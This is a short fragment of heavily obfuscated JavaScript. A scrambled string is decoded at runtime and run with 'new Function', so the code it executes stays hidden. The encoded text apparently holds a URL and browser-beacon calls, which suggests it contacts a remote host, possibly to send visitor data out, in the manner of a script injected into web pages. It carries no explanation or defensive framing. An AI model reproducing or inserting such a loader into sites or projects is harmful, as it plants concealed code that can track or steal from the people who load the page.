YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();